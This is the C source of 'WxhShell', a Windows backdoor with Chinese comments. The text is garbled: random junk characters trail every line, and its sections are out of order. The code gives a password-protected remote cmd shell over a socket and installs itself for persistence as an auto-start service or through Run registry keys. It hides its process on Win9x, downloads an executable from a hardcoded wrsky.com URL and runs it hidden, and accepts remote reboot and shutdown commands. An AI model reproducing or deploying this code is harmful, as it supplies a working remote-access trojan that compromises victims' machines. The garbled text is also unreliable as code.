    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s,6`RI%  
    if(Boot(SHUTDOWN)) y}FZD?"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )KE [!ofD  
    else { |?d#eQ9a  
    closesocket(wsh); #sTEQjJ,J  
    ExitThread(0); {o0qUX>[  
    } ^Dg <Ki  
    break; sV/l5]b]  
    } O:'?n8rWL  
  // 获取shell Rx7X_A}  
  case 's': { \8S ~c8Z~  
    CmdShell(wsh); g:7,~}_}^  
    closesocket(wsh); j~E",7Q'  
    ExitThread(0); K<4Kk3  
    break; }lP;U$  
  } 'OkGReKt  
  // 退出 xe4Oxo  
  case 'x': { DZ$` 4;C[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W#'c 5:m 4  
    CloseIt(wsh); VA] e  
    break; F(5hmr  
    } /P:.qtT(  
  // 离开 Bj Wr5SJ  
  case 'q': { (Glr\q]jF\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =w$tvo/  
    closesocket(wsh); /J3ZL[o?Q  
    WSACleanup(); r X'*|]  
    exit(1); Os&n  
    break; Su8|R"qU  
        } \25/$Ae}c  
  } yF13Of^l./  
  } :O-iykXyI  
:kMHRm@{  
  // 提示信息 x YfD()w<I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +JRF0T  
} +k\Uf*wh  
  } }|\d+V2On  
/PzcvN  
  return; aAE>)#f(  
} :#5xA?=* S  
oVvc?P  
// shell模块句柄 h.eM RdlO  
int CmdShell(SOCKET sock) 5| B(\wqG  
{ 5|QzU|gPn  
STARTUPINFO si; ritBU:6  
ZeroMemory(&si,sizeof(si)); m2~&#c\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wy .IcWK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &;i "P  
PROCESS_INFORMATION ProcessInfo; %" D%:   
char cmdline[]="cmd"; gF?[rqz{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N8toxRu  
  return 0; TlZT1H  
} =(v^5  
j;b42G~p  
// 自身启动模式 F&RgT1*  
int StartFromService(void) L< ^j"!0  
{ = ?D(g  
typedef struct Q=mI 9  
{ oA] KE"T  
  DWORD ExitStatus; $ _j[2EU  
  DWORD PebBaseAddress; h4|i%,f  
  DWORD AffinityMask; ]z/Zq  
  DWORD BasePriority; fKH7xu!V4+  
  ULONG UniqueProcessId; =m89z}Ot  
  ULONG InheritedFromUniqueProcessId; _VE^/;$"l  
}   PROCESS_BASIC_INFORMATION; bmgncwlz  
$+JS&k/'m  
PROCNTQSIP NtQueryInformationProcess; {n#k,b&9B  
E>b2+;Jv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9,uhf b^]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vj<:GRNQ,d  
e^p +1-B  
  HANDLE             hProcess; b-ll  
  PROCESS_BASIC_INFORMATION pbi; fmqb` %  
KWAb-yB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vo>d!rVCV  
  if(NULL == hInst ) return 0; `?T#Hl>j  
d) f@ 5/<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y3.$G1{#0w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X cr  =  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :x.7vZzxs  
"Z Htr<+  
  if (!NtQueryInformationProcess) return 0; :y*NM,s  
m>USD? i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w(ln5q  
  if(!hProcess) return 0; <q*oV  
!+>v[(OzM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qm/Q65>E  
:NJ_n6E  
  CloseHandle(hProcess); =_$Qtq+h  
2M#M"LHo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q!- 0xlx  
if(hProcess==NULL) return 0; P-F)%T[  
3LDS Z1f  
HMODULE hMod; --;@2:lg{  
char procName[255]; &'cL%.  
unsigned long cbNeeded; vEf4HZ&w  
hfpJ+[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mxor1P#|  
x{D yTtX<  
  CloseHandle(hProcess); %CWPbk^  
D\IjyZ-O  
if(strstr(procName,"services")) return 1; // 以服务启动 SJD@&m%?[  
P96pm6H_;  
  return 0; // 注册表启动 X%yO5c\l2  
} ]7-&V-Ct*  
Qt_dEl  
// 主模块 coYij  
int StartWxhshell(LPSTR lpCmdLine) :0Z^uuk`gq  
{ ?X@fKAj  
  SOCKET wsl; n]8<DX99Q0  
BOOL val=TRUE; %X#zj"  
  int port=0; ~l;[@jsw F  
  struct sockaddr_in door; f{SB1M   
@`\VBW  
  if(wscfg.ws_autoins) Install(); (&/2\0QV  
}VDqj}is  
port=atoi(lpCmdLine); wFG3KzEq ~  
8XbA'% o  
if(port<=0) port=wscfg.ws_port; @lJzr3}WZ  
<ZU=6Hq  
  WSADATA data; Gt9&)/#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IV\J3N^  
2WUT/{:X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Uj&W<'I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xsWur(>]  
  door.sin_family = AF_INET; 5 ae2<Y=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F~A'X  
  door.sin_port = htons(port); [O: !(G je  
SG6sw]x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j*~T1i  
closesocket(wsl); L^Jk=8  
return 1; =zwOq(Bh W  
} ~]ZpA-*@Ut  
N !TW!  
  if(listen(wsl,2) == INVALID_SOCKET) { (O0Urm  
closesocket(wsl); R|i/lEq  
return 1; Da"j E  
} n3J53| %v  
  Wxhshell(wsl); C6rg<tCH  
  WSACleanup(); NcY608C  
}9nDo*A"}  
return 0; 9"g6C<  
R8.CC1Ix  
} K~ ;45Z2  
'\jd#Kn'h  
// 以NT服务方式启动 (b`]M`Fc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nk {XdrY  
{ V!)O6?l  
DWORD   status = 0; T#bu V  
  DWORD   specificError = 0xfffffff; ZvcJK4hi  
g-Pwp[!qkf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S_~z-`;h!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qCv20#!"|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :;t #\%L/  
  serviceStatus.dwWin32ExitCode     = 0; uc|45Zxt  
  serviceStatus.dwServiceSpecificExitCode = 0; &+G"k~%  
  serviceStatus.dwCheckPoint       = 0; qKJSj   
  serviceStatus.dwWaitHint       = 0; Y!;|ld  
|!y A@y?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #r3l[ bKK  
  if (hServiceStatusHandle==0) return; HF3f)}l$  
W_0>y9?  
status = GetLastError(); :d ~|jS  
  if (status!=NO_ERROR) (Vo>e =q  
{ 7Pa@1']  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; np~~mdmRK  
    serviceStatus.dwCheckPoint       = 0; MxBTX4ES  
    serviceStatus.dwWaitHint       = 0; N/GQt\tV<  
    serviceStatus.dwWin32ExitCode     = status; 41fJ%f` G  
    serviceStatus.dwServiceSpecificExitCode = specificError; +iI&c s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a ^%"7Ri  
    return; @)K%2Y`  
  } u[{tb  
LdB($4,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3"rzb]=R  
  serviceStatus.dwCheckPoint       = 0; 1h.)#g?{  
  serviceStatus.dwWaitHint       = 0; }.z&P'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  [~&XL0  
} fHZTXvxoL  
Q[#vTB$f  
// 处理NT服务事件,比如:启动、停止 ] Eh}L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c2K:FdB  
{ g (#f:"  
switch(fdwControl) }MlwC;ot  
{ e)?Fi  
case SERVICE_CONTROL_STOP: R6=$u{D  
  serviceStatus.dwWin32ExitCode = 0; ,\v91Rp~?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &7_Qd4=08w  
  serviceStatus.dwCheckPoint   = 0; A4ISNM7R[  
  serviceStatus.dwWaitHint     = 0; J/3_C6UZ  
  { 'TA UE{{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S/ibb&  
  } Rar"B*b;$  
  return; 7==f\%,  
case SERVICE_CONTROL_PAUSE: N~F RM& x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~xoF6 CF  
  break; 77Bgl4P  
case SERVICE_CONTROL_CONTINUE: pFJB'=c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k#5}\w!  
  break; c5mZG7-  
case SERVICE_CONTROL_INTERROGATE: U"50_O  
  break; ]%!u7z|\6  
}; ?MQ.% J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `l*;t`h  
} QFIL)'K  
wM|" I^[  
// 标准应用程序主函数 `~cuQ<3Tn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1nu^F,M  
{ 3 zn W=  
E#F/88(  
// 获取操作系统版本 WMj}kq)SY)  
OsIsNt=GetOsVer(); CSCN['x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BT@r!>Nl  
#:d =)Qj0  
  // 从命令行安装 r$wxk 4%Rz  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~gu3g^<0v  
TB;o~>9U  
  // 下载执行文件 0VK-g}"x  
if(wscfg.ws_downexe) { 'fL"txW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5MSB dO  
  WinExec(wscfg.ws_filenam,SW_HIDE); ce6__f 5?  
} C R|lt  
,$eK-w  
if(!OsIsNt) { <`0h|m'U  
// 如果时win9x,隐藏进程并且设置为注册表启动 i9=&;_z  
HideProc(); $O^v]>h  
StartWxhshell(lpCmdLine); ./$cMaDJ  
} %r+vSGt;5  
else |$7vI&m  
  if(StartFromService()) CX m+)a-L  
  // 以服务方式启动 *]i!fzI']  
  StartServiceCtrlDispatcher(DispatchTable); sZLT<6_B  
else RV&^g*;E  
  // 普通方式启动 98.>e  
  StartWxhshell(lpCmdLine); _Ob@`  
^3hn0DVQ  
return 0; 4hw@yTUo  
} 07Ed fe  
,<:!NF9  
jVH|uX"M5Y  
yObuWDA9  
=========================================== hkO sm6  
@JW@-9/  
G/v/+oX  
[p=*u,-  
YSaJeU>@  
9!><<7TS  
" Ssk}e=]  
\(">K  
#include <stdio.h> .I@CS>j  
#include <string.h> !pJeA)W;  
#include <windows.h> a {ab*tM  
#include <winsock2.h> c"n ?'e  
#include <winsvc.h> cT\I[9! )  
#include <urlmon.h> 5Q=P4w!'  
KLX/O1B  
#pragma comment (lib, "Ws2_32.lib") "6a8s;  
#pragma comment (lib, "urlmon.lib") 4^<6r*  
\cLSf=  
#define MAX_USER   100 // 最大客户端连接数 Z`&4SH=j  
#define BUF_SOCK   200 // sock buffer -LM;}<  
#define KEY_BUFF   255 // 输入 buffer Z#.f&K )xX  
bZx!0>h  
#define REBOOT     0   // 重启 x3rlJs`$;  
#define SHUTDOWN   1   // 关机 .`CZUKG  
z_ =Bt  
#define DEF_PORT   5000 // 监听端口 >]%8Zx[  
*UW=Mdt  
#define REG_LEN     16   // 注册表键长度  8L*GE  
#define SVC_LEN     80   // NT服务名长度 {m`A!qcD|  
MV=9!{`  
// 从dll定义API bJ_cId8+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3zT_^;:L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wC-Rr^q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oQ=>'w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @t1V o}c  
TPE:e)GO  
// wxhshell配置信息 NU (AEfF  
struct WSCFG { 3gQPKBpc  
  int ws_port;         // 监听端口 I\ | N  
  char ws_passstr[REG_LEN]; // 口令 >5G>D~b  
  int ws_autoins;       // 安装标记, 1=yes 0=no %c)[ kAU!  
  char ws_regname[REG_LEN]; // 注册表键名 p h[\)  
  char ws_svcname[REG_LEN]; // 服务名 tvd0R$5}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 71C42=AU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z2"? &pKV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [i]r-|_K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YK{a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yg]2erR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F~U!1)  
hnWo|! ,O$  
}; *^ \FIUd  
Q+i\8RJ  
// default Wxhshell configuration `B8tmW#  
struct WSCFG wscfg={DEF_PORT, 2=ztKfsBhE  
    "xuhuanlingzhe", TFDm5XJ  
    1, TOLl@p]lU  
    "Wxhshell", Eaad,VBtU  
    "Wxhshell", 7t-Lz| $"  
            "WxhShell Service", dRvin[R8  
    "Wrsky Windows CmdShell Service", _x1EZ&dh  
    "Please Input Your Password: ", q6`G I6  
  1, )R{UXk3q}  
  "http://www.wrsky.com/wxhshell.exe", jw6Tj;c  
  "Wxhshell.exe" O7aLlZdg~  
    }; u1K\@jlw  
ep(g`e  
// 消息定义模块 U\+&cob.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5+X_4lEJK(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c#xP91.m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D&hqV)d4R  
char *msg_ws_ext="\n\rExit."; wHsB,2H  
char *msg_ws_end="\n\rQuit."; u~Tg&0V30  
char *msg_ws_boot="\n\rReboot..."; 9h(IUD{8  
char *msg_ws_poff="\n\rShutdown..."; #f'DEo<b  
char *msg_ws_down="\n\rSave to "; Y@F  
pw'wWZE'  
char *msg_ws_err="\n\rErr!"; YnV/M,U  
char *msg_ws_ok="\n\rOK!"; o4=Yu7L  
O2-M1sd$  
char ExeFile[MAX_PATH]; (*l2('e#@  
int nUser = 0; N b3$4(F  
HANDLE handles[MAX_USER]; :cp   
int OsIsNt; VGH/X.NJ  
EH`0  
SERVICE_STATUS       serviceStatus; :,*eX' fH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B!aK  
:_d3//|  
// 函数声明 ]"x\=A  
int Install(void); @Hr+/52B  
int Uninstall(void); W7G9Kx1Y  
int DownloadFile(char *sURL, SOCKET wsh); DOL%'k?B  
int Boot(int flag); /3^P_\,>f  
void HideProc(void); fB#XhO  
int GetOsVer(void); 4u:0n>nJ1  
int Wxhshell(SOCKET wsl); >BqCkyM9Kf  
void TalkWithClient(void *cs); ged,>  
int CmdShell(SOCKET sock); ~LE[, I:q  
int StartFromService(void); j.c8}r&  
int StartWxhshell(LPSTR lpCmdLine); q=Xg*PM,  
8l xY]UT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6 nGY^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r*cjOrvI  
StM/  
// 数据结构和表定义 dm^H5D/A  
SERVICE_TABLE_ENTRY DispatchTable[] = Lk(S2$)*  
{ Kd{#r/HZ  
{wscfg.ws_svcname, NTServiceMain}, }V^e7d  
{NULL, NULL} <%,'$^'DS  
}; `Wf5  
+Hyk'=.W  
// 自我安装 NV!4(_~  
int Install(void) M]ap:  
{  1KJZWZy  
  char svExeFile[MAX_PATH]; %aLCH\e  
  HKEY key; _bQL[eXd  
  strcpy(svExeFile,ExeFile); Iu6W=A  
y\_wWE  
// 如果是win9x系统,修改注册表设为自启动 ?Leyz  
if(!OsIsNt) { LkaG[^tfN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b{HhS6<K?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +v1-.z  
  RegCloseKey(key); 9}n,@@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o4'v> b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .v7`$(T  
  RegCloseKey(key); +wts 7,3  
  return 0; ^n71'MW  
    } & >b+loF  
  } ,Qo}J@e(  
} _> Ln@  
else { T/7vM6u  
FAd``9kRT  
// 如果是NT以上系统,安装为系统服务 GXEcpc08  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5\?3$<1 I  
if (schSCManager!=0) g$gS7!u,  
{ ^teaJy%  
  SC_HANDLE schService = CreateService gD5P!}s[u0  
  ( {|p"; uJ  
  schSCManager, ;r@!a!NLB  
  wscfg.ws_svcname, ^hysCc  
  wscfg.ws_svcdisp, 7AeP Gr  
  SERVICE_ALL_ACCESS, 4[_L=zD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cI3KB-lM#  
  SERVICE_AUTO_START, 0&B:\  
  SERVICE_ERROR_NORMAL, RK;;b~  
  svExeFile, y;,y"W  
  NULL, OgTSx  
  NULL, _]Ey Ea  
  NULL, :B+Rg cqi  
  NULL, To^# 0  
  NULL /THNP 8.  
  ); 6ZTaQPtm  
  if (schService!=0) Zr9d&|$  
  { W1<.OO\J  
  CloseServiceHandle(schService); ?to1rFrU  
  CloseServiceHandle(schSCManager); yYBNH1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A8mlw#`E8b  
  strcat(svExeFile,wscfg.ws_svcname); p}f-c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /o\U/I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }"0{zrz  
  RegCloseKey(key); 7 {nl..`  
  return 0; y-<$bA[K~  
    } EM=xd~H  
  } 3)xbnRk  
  CloseServiceHandle(schSCManager); H)`@2~Y  
} PM8Ks?P#u  
} u8^Y,LN  
Jxn3$  
return 1; PaxK^*  
} /Ht/F)&P  
`,Xb8^M2  
// 自我卸载 <_>.!9q  
int Uninstall(void) ia_Z\q  
{ /MhS=gVxM  
  HKEY key; T0YDfo  
{ v,{x1  
if(!OsIsNt) { .uBO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eQ$e*|}"m  
  RegDeleteValue(key,wscfg.ws_regname); AvyQ4xim+  
  RegCloseKey(key); =l_rAj~I|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "havi,m  
  RegDeleteValue(key,wscfg.ws_regname); tp%|AD"  
  RegCloseKey(key); OI*ZVD)J  
  return 0; Ap% d<\,Z  
  } KUF$h Er  
} ;]{{)dst  
} ax4*xxU  
else { <b6s&"%=  
B*y;>q "{U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \{[D|_   
if (schSCManager!=0) TH<fbd  
{ x)j/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y+?=E g  
  if (schService!=0) "Ys_ \  
  { 'G<}U343=8  
  if(DeleteService(schService)!=0) { $U~=.!_du  
  CloseServiceHandle(schService); 8n;kK?  
  CloseServiceHandle(schSCManager); (L`l+t1  
  return 0; /.7$`d  
  } ]vRVo6@ k  
  CloseServiceHandle(schService); mr@_ %U  
  } hN& yc  
  CloseServiceHandle(schSCManager); 6 M*b6  
} ~^^!"-  
} 2IKxh  
y=-{Q  
return 1; uFGv%W  
} w}IL 8L(D  
2^cAK t6bC  
// 从指定url下载文件 ^?E^']H)5u  
int DownloadFile(char *sURL, SOCKET wsh) Bh\ [ CY  
{ =ZCH1J5"  
  HRESULT hr; Y*`:M(  
char seps[]= "/"; 8o!  
char *token; _u#/u2<  
char *file; D_O5k|-V  
char myURL[MAX_PATH]; JCM)N8~i  
char myFILE[MAX_PATH]; UN,<6D3\b  
-;sJ25(  
strcpy(myURL,sURL); aw %>YrJ  
  token=strtok(myURL,seps); "CIpo/ebL  
  while(token!=NULL) `DI{wqV9  
  { <FXQxM5"  
    file=token; h{Oz*Bq  
  token=strtok(NULL,seps); Sja"(sJ  
  } U,oD44  
4aj[5fhb-  
GetCurrentDirectory(MAX_PATH,myFILE); t9-_a5>E\}  
strcat(myFILE, "\\"); w~bG<kxP  
strcat(myFILE, file); db{NK wpj'  
  send(wsh,myFILE,strlen(myFILE),0); j%6|:o3G(  
send(wsh,"...",3,0); F6RyOUma  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M /n[&  
  if(hr==S_OK) ~z\pI|DQ  
return 0; 1j oc<EI  
else |M[v493\  
return 1; WpZy](,  
6b-  
} ^?H\*N4  
[37f#p  
// 系统电源模块 VaD:  
int Boot(int flag) OwNAN  
{ #gxRTx  
  HANDLE hToken; )v*v  
  TOKEN_PRIVILEGES tkp; Ln"+nKr  
K?z*3^^X;  
  if(OsIsNt) { u+%)JhIp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B ]|5?QP-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OU0xZ=G  
    tkp.PrivilegeCount = 1; ,\|n=T,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]3gYuz|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~@b9  
if(flag==REBOOT) { E&RoaY0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [VfL v.8w  
  return 0; *T.={>HE8  
} RM?_15m  
else { rnzsfr-|(2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,gAr|x7_  
  return 0; jK ?  
} [+ %p!T  
  } a(Gk~vD;"  
  else { ]=$-B  
if(flag==REBOOT) { pHI%jHHJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f)&`mqeE  
  return 0; r?Ev.m  
} `~w%Jf  
else { [15hci+-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &*V0(  
  return 0; Sa?~t3*H  
} rwi2kk#@P  
} `^s]?  
LM'*OtpDG  
return 1; $5q{vy  
} kMwIuy  
y1@"H/nYJ  
// win9x进程隐藏模块 ~Mg8C9B?%3  
void HideProc(void) EvGUj$  
{ 'W<a54T?z  
1CF7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 44/ 0}v]  
  if ( hKernel != NULL ) @&am!+z  
  { aT`02X   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |Oj,S|Z:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oHP >v_ X  
    FreeLibrary(hKernel); ?z4uze1  
  } -r6(=A  
Ep v3/ `I  
return; <.y^  
} O"2wV +9  
yK @X^jf  
// 获取操作系统版本 x~3>1Wr#M  
int GetOsVer(void) BIb{<tG^N  
{ "6[Ax{cM  
  OSVERSIONINFO winfo; KweHY,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ek+8hnkh  
  GetVersionEx(&winfo); P /f ~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h!JjN$  
  return 1; E| 8s2t  
  else I'6 ed`|  
  return 0; \nWzn4f  
} ]aL  [  
45!`g+)  
// 客户端句柄模块 \fQgiX  
int Wxhshell(SOCKET wsl) $fU/9jTa  
{ *}Ae9  
  SOCKET wsh; h} b^o*  
  struct sockaddr_in client; Qbe{/  
  DWORD myID; SqT"/e]b'  
JzS^9) &  
  while(nUser<MAX_USER) :,J86#S)  
{ \:f}X?:  
  int nSize=sizeof(client); XN0RT>@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y(p:)Iv  
  if(wsh==INVALID_SOCKET) return 1;  }@Ll!,  
tg m{gR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A`r$fCt1Vi  
if(handles[nUser]==0) HWao3Lz  
  closesocket(wsh); |SJ% _#=i  
else qLktMp_  
  nUser++; }M"'K2_Z  
  } (}7o a9Q<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \2LA%ZU  
,~68~_)  
  return 0; TJGKQyG$L  
} 14)kKWG  
>Gu>T\jpe.  
// 关闭 socket I^C ]6D{  
void CloseIt(SOCKET wsh) =<tJAoVV  
{ IEKX'+t'  
closesocket(wsh); cB{;Nh6"  
nUser--; 4dD@lG~  
ExitThread(0); p44uozbK  
} F@*r%[S/  
w `9GygS  
// 客户端请求句柄 h"%,eW|^  
void TalkWithClient(void *cs) YUE 1 '}  
{ hE3jb.s(>  
qcoZ2VJ hh  
  SOCKET wsh=(SOCKET)cs; oeqJ?1=!  
  char pwd[SVC_LEN]; w})&[d  
  char cmd[KEY_BUFF]; W SeRV?+T  
char chr[1]; $F'~^2  
int i,j; ?9.?w-Q'  
@X / =.  
  while (nUser < MAX_USER) { :$@zX]?M  
Y~\xWYR  
if(wscfg.ws_passstr) {  kc/H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LAjw!QB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mjJlXA  
  //ZeroMemory(pwd,KEY_BUFF); a*ixs'MJ  
      i=0; <zWQ[^  
  while(i<SVC_LEN) { mwiPvwHrg  
4xC6#:8  
  // 设置超时 hCx#Heh  
  fd_set FdRead; ViC76aJ  
  struct timeval TimeOut; vf'jz`Z  
  FD_ZERO(&FdRead); UgBY ){<  
  FD_SET(wsh,&FdRead); mgl' d  
  TimeOut.tv_sec=8; 'k) P(H  
  TimeOut.tv_usec=0; HrcnyQ`Q0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZkG##Jp\>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4 w  
Wh&Z *J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +/^q"/f F  
  pwd=chr[0]; Z|7I }i  
  if(chr[0]==0xd || chr[0]==0xa) { zCN;LpbEJY  
  pwd=0; NomK(%8m$  
  break; ,wy:RVv@e  
  } 2Uw}'J_N  
  i++; { l~T~3/i  
    } pc(9(. |  
TuPxyB  
  // 如果是非法用户,关闭 socket u(Q(UuI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _!T$|,a  
} p5 PON0dS  
Z-=7QK.\{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &]A1 _dy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %x)U8  
+mel0ZStS  
while(1) { R}YryzV5  
LA(JA  
  ZeroMemory(cmd,KEY_BUFF); G5@@m-  
J~ rC  
      // 自动支持客户端 telnet标准   W`rE\P  
  j=0; -CNv=vj 3  
  while(j<KEY_BUFF) { W8/6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y{B_OoTun  
  cmd[j]=chr[0]; ;5S7_p2]j  
  if(chr[0]==0xa || chr[0]==0xd) { SVeU7Q6-  
  cmd[j]=0; ^,r;/c9A8  
  break; 'r3}=z4Y  
  } =|^W]2W$  
  j++; B3=/iOb#  
    } lY8Qy2k|  
   r3K:  
  // 下载文件 *8HxJ+[,[  
  if(strstr(cmd,"http://")) { 57%cN-v*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ",oUVl  
  if(DownloadFile(cmd,wsh))  o=5uM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w6Ny>(T/  
  else 0L-g'^nn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k3eN;3#&  
  } "lya|;  
  else { ?n~j2-[<  
6@36 1f[  
    switch(cmd[0]) { ~H."{  
  5q*~h4=r7  
  // 帮助 N>iCb:_ T;  
  case '?': { y 9mZQq  
